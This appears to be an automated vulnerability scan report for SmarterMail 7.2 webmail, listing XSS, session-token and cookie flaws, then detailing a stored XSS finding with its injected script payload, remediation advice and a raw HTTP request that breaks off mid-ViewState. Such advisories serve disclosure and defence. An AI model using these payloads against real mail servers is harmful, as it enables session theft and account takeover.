SmarterMail 7.2, XSS, Stored XSS, SQL Injection, LDAP Injection, Default Configuration, SmarterTools WebServer
Use IIS7 or IIS7.5 in production as a workaround
Target = SmarterMail 7.x (7.2.3925)
Report generated by XSS.CX Research Blog at Mon Oct 04 15:30:31 EDT 2010.
Contents
1. Cross-site scripting (stored)
2. Cross-site scripting (reflected)
2.1. http://vulnerable.smartermail.site:9998/Default.aspx [ctl00%24Split%24LP%24SessionKey parameter]
2.2. http://vulnerable.smartermail.site:9998/Main/frmStoredFiles.aspx [path parameter]
3. Cleartext submission of password
4. Session token in URL
5. Cross-domain Referer leakage
5.1. http://vulnerable.smartermail.site:9998/Reports/frmReport.aspx
5.2. http://vulnerable.smartermail.site:9998/UserControls/Popups/frmHelp.aspx
6. Cookie without HttpOnly flag set
6.1. http://vulnerable.smartermail.site:9998/Default.aspx
6.2. http://vulnerable.smartermail.site:9998/Main/frmCalendar.aspx
6.3. http://vulnerable.smartermail.site:9998/Main/frmMessage.aspx
6.4. http://vulnerable.smartermail.site:9998/UserControls/Popups/frmAddFileStorageFolder.aspx
6.5. http://vulnerable.smartermail.site:9998/frmError.aspx
7. Email addresses disclosed
7.1. http://vulnerable.smartermail.site:9998/Default.aspx
7.2. http://vulnerable.smartermail.site:9998/Main/Alerts/frmAlert.aspx
7.3. http://vulnerable.smartermail.site:9998/Main/Calendar/frmEvent.aspx
7.4. http://vulnerable.smartermail.site:9998/Main/frmAutocomplete.aspx
7.5. http://vulnerable.smartermail.site:9998/Main/frmMyInfo.aspx
7.6. http://vulnerable.smartermail.site:9998/Main/frmMySettings.aspx
7.7. http://vulnerable.smartermail.site:9998/Main/frmMySettings.aspx
7.8. http://vulnerable.smartermail.site:9998/Main/frmSignatures.aspx
7.9. http://vulnerable.smartermail.site:9998/Reports/frmReport.aspx
8. HTML does not specify charset
9. Content type incorrectly stated
9.1. http://vulnerable.smartermail.site:9998/Default.aspx
9.2. http://vulnerable.smartermail.site:9998/FileStorageUpload.ashx
9.3. http://vulnerable.smartermail.site:9998/Main/Calendar/frmEvent.aspx
9.4. http://vulnerable.smartermail.site:9998/Main/frmCalendar.aspx
9.5. http://vulnerable.smartermail.site:9998/Main/frmMySettings.aspx
9.6. http://vulnerable.smartermail.site:9998/UserControls/Popups/frmAddFileStorageFolder.aspx
10. Content type is not specified
10.1. http://vulnerable.smartermail.site:9998/FileStorageUpload.ashx
10.2. http://vulnerable.smartermail.site:9998/Main/Alerts/frmAlert.aspx
10.3. http://vulnerable.smartermail.site:9998/Main/Calendar/frmEvent.aspx
10.4. http://vulnerable.smartermail.site:9998/Main/frmCalendar.aspx
10.5. http://vulnerable.smartermail.site:9998/Main/frmContentFilters.aspx
10.6. http://vulnerable.smartermail.site:9998/Main/frmNote.aspx
10.7. http://vulnerable.smartermail.site:9998/Main/frmTask.aspx
10.8. http://vulnerable.smartermail.site:9998/UserControls/Popups/frmAddFileStorageFolder.aspx
1. Cross-site scripting (stored)
next
Summary
Severity: |
High |
Confidence: |
Certain |
Host: |
http://vulnerable.smartermail.site:9998 |
Path: |
/Main/Alerts/frmAlerts.aspx |
Issue detail
The value of the ctl00%24MPH%24txtHookName_SettingText request parameter submitted to the URL /Main/Alerts/frmAlert.aspx is copied into the HTML document as plain text between tags at the URL /Main/Alerts/frmAlerts.aspx. The payload 3bf4b<script>alert(1)</script>db961c96c95 was submitted in the ctl00%24MPH%24txtHookName_SettingText parameter. This input was returned unmodified in a subsequent request for the URL /Main/Alerts/frmAlerts.aspx.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Issue background
Stored cross-site scripting vulnerabilities arise when data which originated from any tainted source is copied into the application's responses in an unsafe way. An attacker can use the vulnerability to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the relevant application content.
The attacker-supplied code can perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, and logging their keystrokes.
Methods for introducing malicious content include any function where request parameters or headers are processed and stored by the application, and any out-of-band channel whereby data can be introduced into the application's processing space (for example, email messages sent over SMTP which are ultimately rendered within a web mail application).
Stored cross-site scripting flaws are typically more serious than reflected vulnerabilities because they do not require a separate delivery mechanism in order to reach targe users, and they can potentially be exploited to create web application worms which spread exponentially amongst application users.
Note that automated detection of stored cross-site scripting vulnerabilities cannot reliably determine whether attacks that are persisted within the application can be accessed by any other user, only by authenticated users, or only by the attacker themselves. You should review the functionality in which the vulnerability appears to determine whether the application's behaviour can feasibly be used to compromise other application users.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:- Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
- User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Request 1
POST /Main/Alerts/frmAlert.aspx?level=user HTTP/1.1 Host: vulnerable.smartermail.site:9998 Proxy-Connection: keep-alive Referer: http://vulnerable.smartermail.site:9998/Main/Alerts/frmAlert.aspx?level=user Cache-Control: max-age=0 Origin: http://vulnerable.smartermail.site:9998 Content-Type: application/x-www-form-urlencoded Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=dbg5avn0mzbrp22rculzvx55; SelectedLanguage=; settings=NqrSEiEtkzXQzORdp%2bg33xCkJy7Yi2at5xmX%2be4AJ2U%3d; SM5Skin=Default; STHashCookie={"CountsGuid":"878548840","TopBarSection":"UserEvents"}; STTTState= Content-Length: 13976
__EVENTTARGET=ctl00%24BPH%24btnSave&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKLTg4Nzk4ODg3MA8WBh4IX19fVGl0bGUFBkV2ZW50cx4QX19fUmVzdWx0RmFpbHVyZWUeEF9fX1Jlc3VsdFN1Y2Nlc3NlFgJmD2QWAgIBD2QWCgIDD2QWAgIDD2QWAgIBDw8WAh4LTmF2aWdhdGVVUkwFGWZybUFsZXJ0cy5hc3B4P2xldmVsPXVzZXJkZAIEDxYEHgVzdHlsZQUNZGlzcGxheTpub25lOx4HVmlzaWJsZWhkAgYPFgIfBWhkAgcPZBYCZg9kFgICAQ8WAh8FaBYCAgEPFgIeBFRleHRlZAIJD2QWAgIBD2QWAgICD2QWAgIBD2QWAmYPZBYEAgEPZBYGAgEPZBYCAgEPZBYCZg8QZBAVARNEZWZhdWx0IEV2ZW50IEdyb3VwFQESQERlZmF1bHRFdmVudEdyb3VwFCsDAWdkZAICD2QWAgIBD2QWAmYPEA8WAh4MQXV0b1Bvc3RCYWNrZ2QQFQMNQ29sbGFib3JhdGlvbgVFbWFpbARVc2VyFQMOQENvbGxhYm9yYXRpb24GQEVtYWlsBUBVc2VyFCsDA2dnZxYBZmQCAw9kFgICAQ9kFgJmDxAPFgIfB2dkEBUCGUNhbGVuZGFyIFJlbWluZGVyIE9jY3VyZWQVVGFzayBSZW1pbmRlciBPY2N1cmVkFQIQQ2FsZW5kYXJSZW1pbmRlcgxUYXNrUmVtaW5kZXIUKwMCZ2cWAWZkAgUPZBYCZg9kFgICAQ9kFgYCAQ8QZBAVAgdCZXR3ZWVuB091dHNpZGUVAgdCZXR3ZWVuB091dHNpZGUUKwMCZ2dkZAIDDw8WEB4HTWluRGF0ZQYAQFcgUwVRCB4MU2VsZWN0ZWREYXRlBgAw0jxRMM2IHgdNYXhEYXRlBgAA25l6PzEJHhxFbmFibGVFbWJlZGRlZEJhc2VTdHlsZXNoZWV0aB4TRW5hYmxlRW1iZWRkZWRTa2luc2geBFNraW4FDFNtYXJ0ZXJUb29scx4IQ3NzQ2xhc3MFElRpbWVQaWNrZXJPdmVycmlkZR4EXyFTQgICZBYKZg8UKwAIDxYWHg1PcmlnaW5hbFZhbHVlBQc5OjAwIEFNHwxoHw0FDFNtYXJ0ZXJUb29scx8KBgAA25l6PzEJHgpEYXRlRm9ybWF0BQF0HhFEaXNwbGF5RGF0ZUZvcm1hdAUBdB8GBRMyMDEwLTEwLTAyLTA5LTAwLTAwHg1MYWJlbENzc0NsYXNzBQdyaUxhYmVsHhdFbmFibGVBamF4U2tpblJlbmRlcmluZ2gfC2gfCAYAQFcgUwVRCGQWBh4FV2lkdGgbAAAAAAAAWUAHAAAAHw4FEXJpVGV4dEJveCByaUhvdmVyHw8CggIWBh8VGwAAAAAAAFlABwAAAB8OBRFyaVRleHRCb3ggcmlFcnJvch8PAoICFgYfFRsAAAAAAABZQAcAAAAfDgUTcmlUZXh0Qm94IHJpRm9jdXNlZB8PAoICFgYfFRsAAAAAAABZQAcAAAAfDgUTcmlUZXh0Qm94IHJpRW5hYmxlZB8PAoICFgYfFRsAAAAAAABZQAcAAAAfDgUUcmlUZXh0Qm94IHJpRGlzYWJsZWQfDwKCAhYGHxUbAAAAAAAAWUAHAAAAHw4FEXJpVGV4dEJveCByaUVtcHR5Hw8CggIWBh8VGwAAAAAAAFlABwAAAB8OBRByaVRleHRCb3ggcmlSZWFkHw8CggJkAgEPDxYCHwVoZGQCAg88KwANAQAPFggFD1JlbmRlckludmlzaWJsZWcFBE1pbkQGAEBXIFMFUQgFEUVuYWJsZU11bHRpU2VsZWN0aAUETWF4RAYAANuZej8xCQ8WCB8LaB8MaB8NBQxTbWFydGVyVG9vbHMfBWhkZAIDDw8WBB4ISW1hZ2VVcmwFLS9BcHBfVGhlbWVzL0RlZmF1bHQvSW1hZ2VzLzE2eDE2L1VwY29taW5nLmdpZh4NSG92ZXJJbWFnZVVybAUtL0FwcF9UaGVtZXMvRGVmYXVsdC9JbWFnZXMvMTZ4MTYvVXBjb21pbmcuZ2lmFgIeB29uY2xpY2sFRHJldHVybiBDYWxlbmRhclBvcHVwKCRmaW5kKCdjdGwwMF9NUEhfY29uZGl0aW9uX3RpbWVvZmRheScpLCd0aW1lJyk7ZAIEDxQrAAIPFg4fC2gfDGgeCVN0YXJ0VGltZSgpXFN5c3RlbS5UaW1lU3BhbiwgbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CDA3OjAwOjAwHgdFbmRUaW1lKCsECDE5OjAwOjAwHghJbnRlcnZhbCgrBAgwMDoxNTowMB8NBQxTbWFydGVyVG9vbHMfFGhkFgQfDgUHcmNIb3Zlch8PAgIWAmYPFCsACQ8WBh4NUmVwZWF0Q29sdW1ucwIEHghEYXRhS2V5cxYAHgtfIUl0ZW1Db3VudAIwZBYEHw5lHw8CAmQWBB8OZR8PAgJkZBYEHw4FCHJjSGVhZGVyHw8CAhYEHw4FCHJjRm9vdGVyHw8CAhYGHxUbAAAAAABAb0ABAAAAHw4FNFJhZENhbGVuZGFyVGltZVZpZXcgUmFkQ2FsZW5kYXJUaW1lVmlld19TbWFydGVyVG9vbHMfDwKCAhZgAgEPZBYCZg8WAh4JaW5uZXJodG1sBQc3OjAwIEFNZAICD2QWAmYPFgIfHwUHNzoxNSBBTWQCAw9kFgJmDxYCHx8FBzc6MzAgQU1kAgQPZBYCZg8WAh8fBQc3OjQ1IEFNZAIFD2QWAmYPFgIfHwUHODowMCBBTWQCBg9kFgJmDxYCHx8FBzg6MTUgQU1kAgcPZBYCZg8WAh8fBQc4OjMwIEFNZAIID2QWAmYPFgIfHwUHODo0NSBBTWQCCQ9kFgJmDxYCHx8FBzk6MDAgQU1kAgoPZBYCZg8WAh8fBQc5OjE1IEFNZAILD2QWAmYPFgIfHwUHOTozMCBBTWQCDA9kFgJmDxYCHx8FBzk6NDUgQU1kAg0PZBYCZg8WAh8fBQgxMDowMCBBTWQCDg9kFgJmDxYCHx8FCDEwOjE1IEFNZAIPD2QWAmYPFgIfHwUIMTA6MzAgQU1kAhAPZBYCZg8WAh8fBQgxMDo0NSBBTWQCEQ9kFgJmDxYCHx8FCDExOjAwIEFNZAISD2QWAmYPFgIfHwUIMTE6MTUgQU1kAhMPZBYCZg8WAh8fBQgxMTozMCBBTWQCFA9kFgJmDxYCHx8FCDExOjQ1IEFNZAIVD2QWAmYPFgIfHwUIMTI6MDAgUE1kAhYPZBYCZg8WAh8fBQgxMjoxNSBQTWQCFw9kFgJmDxYCHx8FCDEyOjMwIFBNZAIYD2QWAmYPFgIfHwUIMTI6NDUgUE1kAhkPZBYCZg8WAh8fBQcxOjAwIFBNZAIaD2QWAmYPFgIfHwUHMToxNSBQTWQCGw9kFgJmDxYCHx8FBzE6MzAgUE1kAhwPZBYCZg8WAh8fBQcxOjQ1IFBNZAIdD2QWAmYPFgIfHwUHMjowMCBQTWQCHg9kFgJmDxYCHx8FBzI6MTUgUE1kAh8PZBYCZg8WAh8fBQcyOjMwIFBNZAIgD2QWAmYPFgIfHwUHMjo0NSBQTWQCIQ9kFgJmDxYCHx8FBzM6MDAgUE1kAiIPZBYCZg8WAh8fBQczOjE1IFBNZAIjD2QWAmYPFgIfHwUHMzozMCBQTWQCJA9kFgJmDxYCHx8FBzM6NDUgUE1kAiUPZBYCZg8WAh8fBQc0OjAwIFBNZAImD2QWAmYPFgIfHwUHNDoxNSBQTWQCJw9kFgJmDxYCHx8FBzQ6MzAgUE1kAigPZBYCZg8WAh8fBQc0OjQ1IFBNZAIpD2QWAmYPFgIfHwUHNTowMCBQTWQCKg9kFgJmDxYCHx8FBzU6MTUgUE1kAisPZBYCZg8WAh8fBQc1OjMwIFBNZAIsD2QWAmYPFgIfHwUHNTo0NSBQTWQCLQ9kFgJmDxYCHx8FBzY6MDAgUE1kAi4PZBYCZg8WAh8fBQc2OjE1IFBNZAIvD2QWAmYPFgIfHwUHNjozMCBQTWQCMA9kFgJmDxYCHx8FBzY6NDUgUE1kAgcPDxYQHwgGAEBXIFMFUQgfCQYAcPVKlDDNiB8KBgAA25l6PzEJHwtoHwxoHw0FDFNtYXJ0ZXJUb29scx8OBRJUaW1lUGlja2VyT3ZlcnJpZGUfDwICZBYKZg8UKwAIDxYWHxAFBzU6MDAgUE0fDGgfDQUMU21hcnRlclRvb2xzHwoGAADbmXo%2FMQkfEQUBdB8SBQF0HwYFEzIwMTAtMTAtMDItMTctMDAtMDAfEwUHcmlMYWJlbB8UaB8LaB8IBgBAVyBTBVEIZBYGHxUbAAAAAAAAWUAHAAAAHw4FEXJpVGV4dEJveCByaUhvdmVyHw8CggIWBh8VGwAAAAAAAFlABwAAAB8OBRFyaVRleHRCb3ggcmlFcnJvch8PAoICFgYfFRsAAAAAAABZQAcAAAAfDgUTcmlUZXh0Qm94IHJpRm9jdXNlZB8PAoICFgYfFRsAAAAAAABZQAcAAAAfDgUTcmlUZXh0Qm94IHJpRW5hYmxlZB8PA |